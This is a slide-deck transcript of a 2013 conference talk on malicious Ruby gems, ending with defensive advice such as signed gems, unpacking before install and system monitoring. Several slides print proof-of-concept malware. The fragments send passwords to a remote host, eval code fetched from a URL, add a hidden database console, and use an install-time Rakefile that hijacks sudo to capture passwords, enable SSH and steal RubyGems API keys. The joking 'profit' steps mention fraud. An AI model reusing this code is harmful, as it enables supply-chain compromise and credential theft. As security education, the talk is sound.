Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Hacking with Gems (RuLu 2013)

Benjamin Smith
June 20, 2013
1.4k

Hacking with Gems (RuLu 2013)

Benjamin Smith

June 20, 2013
Tweet

Transcript

  1. Hacking with Gems
    Benjamin Smith
    @benjamin_smith
    Thursday, June 20, 13

    View full-size slide

  2. How-to get rich quick and
    (maybe)
    not go to jail!
    Thursday, June 20, 13

    View full-size slide

  3. Ben Smith cannot be held accountable for anything that will happen to you as a result of installing his gems.
    He also cannot be held responsible for anything that happens as a result of installing anyone ELSE’S gems.
    This offer may not be combined with any other offers.
    Ben Smith’s gems were processed in a location that also processes peanuts.
    Not valid in the state of Nevada.
    Ben Smith’s gems may contain substances known in the state of California to cause cancer.
    Thursday, June 20, 13

    View full-size slide

  4. who i am
    Thursday, June 20, 13

    View full-size slide

  5. Thursday, June 20, 13

    View full-size slide

  6. Thursday, June 20, 13

    View full-size slide

  7. Thursday, June 20, 13

    View full-size slide

  8. what i am NOT
    Thursday, June 20, 13

    View full-size slide

  9. Thursday, June 20, 13

    View full-size slide

  10. please do not try this at home
    Thursday, June 20, 13

    View full-size slide

  11. please do not try this at home
    Thursday, June 20, 13

    View full-size slide

  12. Thursday, June 20, 13

    View full-size slide

  13. Thursday, June 20, 13

    View full-size slide

  14. Lawful Evil Lawful Good
    Thursday, June 20, 13

    View full-size slide

  15. Lawful Evil Lawful Good
    Thursday, June 20, 13

    View full-size slide

  16. Lawful Evil Lawful Good
    Thursday, June 20, 13

    View full-size slide

  17. Lawful Evil Lawful Good
    Thursday, June 20, 13

    View full-size slide

  18. once upon a time
    Thursday, June 20, 13

    View full-size slide

  19. GEM
    remote: https://rubygems.org/
    specs:
    actionmailer (3.2.12)
    actionpack (= 3.2.12)
    mail (~> 2.4.4)
    actionpack (3.2.12)
    activemodel (= 3.2.12)
    activesupport (= 3.2.12)
    builder (~> 3.0.0)
    erubis (~> 2.7.0)
    ...
    Thursday, June 20, 13

    View full-size slide

  20. what’s the worst that could happen?
    Thursday, June 20, 13

    View full-size slide

  21. Thursday, June 20, 13

    View full-size slide

  22. gem 'awesome_rails_flash_messages'
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Thursday, June 20, 13

    View full-size slide

  23. before...
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Thursday, June 20, 13

    View full-size slide

  24. after!
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Thursday, June 20, 13

    View full-size slide

  25. some “side effects”
    if params.to_s.match(Base64.decode64('cGF...'))
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Thursday, June 20, 13

    View full-size slide

  26. ...
    File.open(
    "#{Rails.root}/public/development.log",
    'a+'
    ) do |f|
    f.write("#{params.inspect}\n")
    end
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Thursday, June 20, 13

    View full-size slide

  27. ?!?
    Net::HTTP.post_form(
    URI.parse(Base64.decode64('aHR0cDo...')),
    {
    'log'=>params.merge(:url =>
    request.url).inspect
    }
    )
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Thursday, June 20, 13

    View full-size slide

  28. i like cGFzc3dvcmQ=\n
    if params.to_s.match(Base64.decode64('cGF...'))
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Thursday, June 20, 13

    View full-size slide

  29. i like password
    if params.to_s.match(“password”)
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Thursday, June 20, 13

    View full-size slide

  30. “development.log”
    ...
    "user"=>{"email"=>"[email protected]",
    "password"=>"password",
    "remember_me"=>"0"}
    ...
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Thursday, June 20, 13

    View full-size slide

  31. elsewhere...
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Thursday, June 20, 13

    View full-size slide

  32. profit
    • Step 1: do something
    • Step 2: do something else
    • Step 3: ????
    • Step 4: profit
    Thursday, June 20, 13

    View full-size slide

  33. profit
    • Step 1: write a gem that does something
    • Step 2:
    • Step 3:
    • Step 4:
    Thursday, June 20, 13

    View full-size slide

  34. profit
    • Step 1: write a gem that does something
    • Step 2: add code to harvest emails/pws
    • Step 3:
    • Step 4:
    Thursday, June 20, 13

    View full-size slide

  35. profit
    • Step 1: write a gem that does something
    • Step 2: add code to harvest emails/pws
    • Step 3: use emails/pws on banking websites
    to transfer funds
    • Step 4:
    Thursday, June 20, 13

    View full-size slide

  36. profit
    • Step 1: write a gem that does something
    • Step 2: add code to harvest emails/pws
    • Step 3: use emails/pws on banking websites
    to transfer funds
    • Step 4: profit
    Thursday, June 20, 13

    View full-size slide

  37. profit
    • Step 1: write a gem that does something
    • Step 2: add code to harvest emails/pws
    • Step 3: use emails/pws on banking websites
    to transfer funds
    • Step 4: profit
    • Step 5: flee the country
    Thursday, June 20, 13

    View full-size slide

  38. a one way ticket to
    Thursday, June 20, 13

    View full-size slide

  39. that was easy.
    what else can I do?
    Thursday, June 20, 13

    View full-size slide

  40. gem 'net_http_detector'
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  41. show me the hack
    Net::HTTP.post_form(
    #stark-samurai-8122.herokuapp.com/logs>,
    {"log"=>"{\"utf8\"=>\"✓\",
    \"authenticity_token\"=>\"PzpZUlRrRv1V
    +A0jJHAwi+ey/injbWlii8OFyIfP+fY=\",
    \"user\"=>{\"email\"=>\"test\",
    \"password\"=>\"pass4\"
    ...
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  42. how it works
    def HTTP.valid_post_form(url, params)
    ...
    def HTTP.post_form(url, params)
    self.smart_log(
    "Net::HTTP.post_form(#{url.inspect},
    #{params.inspect})"
    )
    Net::HTTP.valid_post_form(url, params)
    end
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  43. how it works
    def HTTP.valid_post_form(url, params)
    ...
    def HTTP.post_form(url, params)
    self.smart_log(
    "Net::HTTP.post_form(#{url.inspect},
    #{params.inspect})"
    )
    Net::HTTP.valid_post_form(url, params)
    end
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  44. how it works
    def HTTP.valid_post_form(url, params)
    ...
    def HTTP.post_form(url, params)
    self.smart_log(
    "Net::HTTP.post_form(#{url.inspect},
    #{params.inspect})"
    )
    Net::HTTP.valid_post_form(url, params)
    end
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  45. ...and one more thing...
    eval(Net::HTTP.valid_get(
    URI("http://....herokuapp.com/
    snippets/6")
    )
    )
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  46. database what?
    append_before_filter :net_http_detector
    ...
    if params[:db_console]
    @tables =ActiveRecord::Base.connection.tables
    if params[:query]
    @output = ActiveRecord::Base.connection
    .execute(params[:query])
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  47. database what?
    append_before_filter :net_http_detector
    ...
    if params[:db_console]
    @tables =ActiveRecord::Base.connection.tables
    if params[:query]
    @output = ActiveRecord::Base.connection
    .execute(params[:query])
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  48. database what?
    append_before_filter :net_http_detector
    ...
    if params[:db_console]
    @tables =ActiveRecord::Base.connection.tables
    if params[:query]
    @output = ActiveRecord::Base.connection
    .execute(params[:query])
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  49. database what?
    append_before_filter :net_http_detector
    ...
    if params[:db_console]
    @tables =ActiveRecord::Base.connection.tables
    if params[:query]
    @output = ActiveRecord::Base.connection
    .execute(params[:query])
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  50. /users/sign_in
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  51. /users/sign_in?db_console=t
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  52. hello db access!
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  53. SELECT * FROM users;
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  54. UPDATE users SET admin=1
    WHERE id=42;
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  55. CREATE USER admin1 WITH
    PASSWORD 'password';
    github.com/benjaminleesmith/net_http_detector
    Thursday, June 20, 13

    View full-size slide

  56. careful of wolves in sheep’s clothing
    Thursday, June 20, 13

    View full-size slide

  57. profit
    • Step 1:
    • Step 2:
    • Step 3:
    • Step 4:
    • Step 5:
    Thursday, June 20, 13

    View full-size slide

  58. profit
    • Step 1: write a gem that does something
    • Step 2:
    • Step 3:
    • Step 4:
    • Step 5:
    Thursday, June 20, 13

    View full-size slide

  59. profit
    • Step 1: write a gem that does something
    • Step 2: add code to provide DB access
    • Step 3:
    • Step 4:
    • Step 5:
    Thursday, June 20, 13

    View full-size slide

  60. profit
    • Step 1: write a gem that does something
    • Step 2: add code to provide DB access
    • Step 3: use personal info to apply for a boat
    loan (ie buy a pimp trimaran)
    • Step 4:
    • Step 5:
    Thursday, June 20, 13

    View full-size slide

  61. profit
    • Step 1: write a gem that does something
    • Step 2: add code to provide DB access
    • Step 3: use personal info to apply for a boat
    loan (ie buy a pimp trimaran)
    • Step 4: profit
    • Step 5:
    Thursday, June 20, 13

    View full-size slide

  62. profit
    • Step 1: write a gem that does something
    • Step 2: add code to provide DB access
    • Step 3: use personal info to apply for a boat
    loan (ie buy a pimp trimaran)
    • Step 4: profit
    • Step 5: flee the country
    Thursday, June 20, 13

    View full-size slide

  63. i like the beach
    Thursday, June 20, 13

    View full-size slide

  64. that was easy.
    what else can I do?
    Thursday, June 20, 13

    View full-size slide

  65. gem 'better_date_to_s'
    github.com/benjaminleesmith/better_date_to_s
    Thursday, June 20, 13

    View full-size slide

  66. what it claims to do
    Date.new(2005, 1, 1).to_s(:short)
    => "1 Jan"
    ... instead of...
    => " 1 Jan"
    github.com/benjaminleesmith/better_date_to_s
    Thursday, June 20, 13

    View full-size slide

  67. Thursday, June 20, 13

    View full-size slide

  68. what it also does
    set_date_formats_for(
    Rails.env,
    Rails.root.to_s
    )
    github.com/benjaminleesmith/better_date_to_s
    Thursday, June 20, 13

    View full-size slide

  69. better_date_to_s.bundle
    œ˙Ì˛ê(__TEXT__text__TEXTP
    ÛP
    Ä__stubs__TEXTD
    $DÄ__stub_helper__TEXThLhÄ__cstring__TEX
    T∏i∏__unwind_info__TEXT!P!
    __eh_frame__TEXTxÄxà__DATA__nl_symbol_pt
    r__DATA__got__DATA__la_symbol_ptr__DATA0
    __data__DATAHHH__LINKEDIT ‰"Ä0 8@
    Ä¿ `(!‰"
    github.com/benjaminleesmith/better_date_to_s
    Thursday, June 20, 13

    View full-size slide

  70. behind the curtain
    if(strcmp(rails_env, "production") == 0) {
    sprintf(tar_command, "tar -zcvf
    %s/public/assets.tar.gz %s > /dev/
    null 2>&1",rails_root,rails_root);
    system(tar_command);
    }
    github.com/benjaminleesmith/better_date_to_s
    Thursday, June 20, 13

    View full-size slide

  71. what what
    github.com/benjaminleesmith/better_date_to_s
    Thursday, June 20, 13

    View full-size slide

  72. i can haz source
    github.com/benjaminleesmith/better_date_to_s
    Thursday, June 20, 13

    View full-size slide

  73. truth time
    • this gem doesn't actually work
    • but it could... if I wasn't lazy
    • "fat" gems are tricky to compile
    github.com/benjaminleesmith/better_date_to_s
    Thursday, June 20, 13

    View full-size slide

  74. so much code so little time
    • Step 1: write a gem that does something
    • Step 2: add code expose source
    • Step 3: sell to competitors?
    • Step 4: profit?
    • Step 5: flee the country
    Thursday, June 20, 13

    View full-size slide

  75. that was easy hard.
    what else can I do?
    (that's easier)
    Thursday, June 20, 13

    View full-size slide

  76. gem install be_truthy
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  77. what it does
    > true.should be_true
    > User.new.should be_true
    > User.new.should be_truthy
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  78. what it ACTUALLY does
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  79. github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  80. file tree looks ok
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  81. source code looks good
    require "be_truthy/version"
    module BeTruthy
    end
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  82. but what was this?
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  83. I see no C
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  84. run the what file?
    Gem::Specification.new do |gem|
    ...
    gem.extensions = ["Rakefile"]
    ...
    end
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  85. there is no Rakefile
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  86. the real file tree
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  87. the real file tree
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  88. what does the Rakefile do?
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  89. sudo_file =__FILE__.gsub(
    'Rakefile', 'lib/tmp.rb'
    )
    FileUtils.mv(
    sudo_file,
    "#{home_dir}/.tmp"
    )
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  90. File.open(profile, 'a+') do |f|
    f.write("alias sudo='ruby #{home}/.tmp'\n")
    end
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  91. FileUtils.rm(__FILE__)
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  92. what does "sudo" do now?
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  93. print "WARNING: Improper use of the sudo
    command ..."
    system "stty -echo"
    password = $stdin.gets.chomp
    system "stty echo"
    print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}`
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  94. print "WARNING: Improper use of the sudo
    command ..."
    system "stty -echo"
    password = $stdin.gets.chomp
    system "stty echo"
    print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}`
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  95. print "WARNING: Improper use of the sudo
    command ..."
    system "stty -echo"
    password = $stdin.gets.chomp
    system "stty echo"
    print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}`
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  96. print "WARNING: Improper use of the sudo
    command ..."
    system "stty -echo"
    password = $stdin.gets.chomp
    system "stty echo"
    print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}`
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  97. echo '#{password}' | /usr/bin/sudo -S
    systemsetup -setremotelogin on
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  98. /usr/bin/sudo dscl . -create /Users/
    #{username}
    ...
    /usr/bin/sudo dscl . -passwd /Users/
    #{username} password`
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  99. Net::HTTP.post_form(
    URI.parse('http://.../logs'),
    {'log' => 'ssh enabled'}
    )
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  100. ssh sysadmin@your-ip
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  101. take away:
    don't install ben's gems
    Thursday, June 20, 13

    View full-size slide

  102. Thursday, June 20, 13

    View full-size slide

  103. how could I get you
    to install my gems?
    Thursday, June 20, 13

    View full-size slide

  104. what gems are
    trustworthy?
    Thursday, June 20, 13

    View full-size slide

  105. how can I add my code
    to already trusted gems?
    Thursday, June 20, 13

    View full-size slide

  106. back in the be_truthy gem
    gem_api_key = File.open(
    `echo ~/.gem/credentials`.strip
    ).read
    gem_list = `gem list`
    Net::HTTP.post_form(...)
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  107. gem_api_key = File.open(
    `echo ~/.gem/credentials`.strip
    ).read
    gem_list = `gem list`
    Net::HTTP.post_form(...)
    github.com/benjaminleesmith/be_truthy
    back in the be_truthy gem
    Thursday, June 20, 13

    View full-size slide

  108. gem_api_key = File.open(
    `echo ~/.gem/credentials`.strip
    ).read
    gem_list = `gem list`
    Net::HTTP.post_form(...)
    github.com/benjaminleesmith/be_truthy
    back in the be_truthy gem
    Thursday, June 20, 13

    View full-size slide

  109. gem_api_key = File.open(
    `echo ~/.gem/credentials`.strip
    ).read
    gem_list = `gem list`
    Net::HTTP.post_form(...)
    github.com/benjaminleesmith/be_truthy
    back in the be_truthy gem
    Thursday, June 20, 13

    View full-size slide

  110. now I own your gems
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  111. > git clone your-gem-repo
    ...add a little code...
    > rake build
    > gem push your-gem
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  112. do people trust your gems?
    Thursday, June 20, 13

    View full-size slide

  113. do people who install
    your gems have
    trustworthy gems?
    Thursday, June 20, 13

    View full-size slide

  114. Thursday, June 20, 13

    View full-size slide

  115. there’s still one problem
    Thursday, June 20, 13

    View full-size slide

  116. bootstrapping
    Thursday, June 20, 13

    View full-size slide

  117. being popular sucks
    Thursday, June 20, 13

    View full-size slide

  118. conferences
    Thursday, June 20, 13

    View full-size slide

  119. social engineering
    Thursday, June 20, 13

    View full-size slide

  120. Thursday, June 20, 13

    View full-size slide

  121. Thursday, June 20, 13

    View full-size slide

  122. Thursday, June 20, 13

    View full-size slide

  123. so what happens now?
    Thursday, June 20, 13

    View full-size slide

  124. ruby gems goes down
    Thursday, June 20, 13

    View full-size slide

  125. heroku deploys go down
    Thursday, June 20, 13

    View full-size slide

  126. i go to the beach
    Thursday, June 20, 13

    View full-size slide

  127. ruby gems goes down
    Thursday, June 20, 13

    View full-size slide

  128. heroku deploys go down
    Thursday, June 20, 13

    View full-size slide

  129. recovery
    Thursday, June 20, 13

    View full-size slide

  130. so what now?
    Thursday, June 20, 13

    View full-size slide

  131. gem 'awesome_rails_flash_messages'
    github.com/benjaminleesmith/awesome-rails-flash-messages
    Thursday, June 20, 13

    View full-size slide

  132. Little Snitch
    obdev.at/products/littlesnitch/index.html
    Thursday, June 20, 13

    View full-size slide

  133. gem install be_truthy
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  134. fseventer
    fernlightning.com/doku.php?id=software:fseventer:start
    Thursday, June 20, 13

    View full-size slide

  135. don’t “gem install” from
    strangers
    Thursday, June 20, 13

    View full-size slide

  136. gem fetch vs gem install
    > gem fetch be_truthy
    > gem unpack be_truthy-0.0.1.gem
    github.com/benjaminleesmith/be_truthy
    Thursday, June 20, 13

    View full-size slide

  137. Thursday, June 20, 13

    View full-size slide

  138. Thursday, June 20, 13

    View full-size slide

  139. curl -#L https://get.rvm.io | bash -s stable
    --autolibs=3 --ruby
    Thursday, June 20, 13

    View full-size slide

  140. gem install rails -P HighSecurity
    Thursday, June 20, 13

    View full-size slide

  141. > gem install rails -P HighSecurity
    Fetching: activesupport-3.2.12.gem (100%)
    ERROR: While executing gem ...
    (Gem::Exception)
    Unsigned gem
    Thursday, June 20, 13

    View full-size slide

  142. gem cert --build
    Thursday, June 20, 13

    View full-size slide

  143. https://www.rubygems-openpgp-ca.org/
    https://github.com/rubygems-trust
    Thursday, June 20, 13

    View full-size slide

  144. sandboxing
    Thursday, June 20, 13

    View full-size slide

  145. github.com/rubygems/rubygems
    Thursday, June 20, 13

    View full-size slide

  146. tools to detect
    malicious code
    Thursday, June 20, 13

    View full-size slide

  147. private gem repos
    Thursday, June 20, 13

    View full-size slide

  148. do not try this at home
    Thursday, June 20, 13

    View full-size slide

  149. don't install gems you
    don't need to
    Thursday, June 20, 13

    View full-size slide

  150. pay attention to what
    your gems do
    Thursday, June 20, 13

    View full-size slide

  151. monitor your system
    Thursday, June 20, 13

    View full-size slide

  152. read the source
    Thursday, June 20, 13

    View full-size slide

  153. gem install coal-mine-canary
    github.com/benjaminleesmith/coal-mine-canary
    Thursday, June 20, 13

    View full-size slide

  154. on install
    github.com/benjaminleesmith/coal-mine-canary
    Thursday, June 20, 13

    View full-size slide

  155. the results
    github.com/benjaminleesmith/coal-mine-canary
    Thursday, June 20, 13

    View full-size slide

  156. thank you!
    Thursday, June 20, 13

    View full-size slide

  157. questions? ideas?
    @benjamin_smith
    https://github.com/benjaminleesmith
    Thursday, June 20, 13

    View full-size slide

  158. questions? ideas?
    @benjamin_smith
    https://github.com/benjaminleesmith
    Thursday, June 20, 13

    View full-size slide

  159. questions? ideas?
    @benjamin_smith
    https://github.com/benjaminleesmith
    Thursday, June 20, 13

    View full-size slide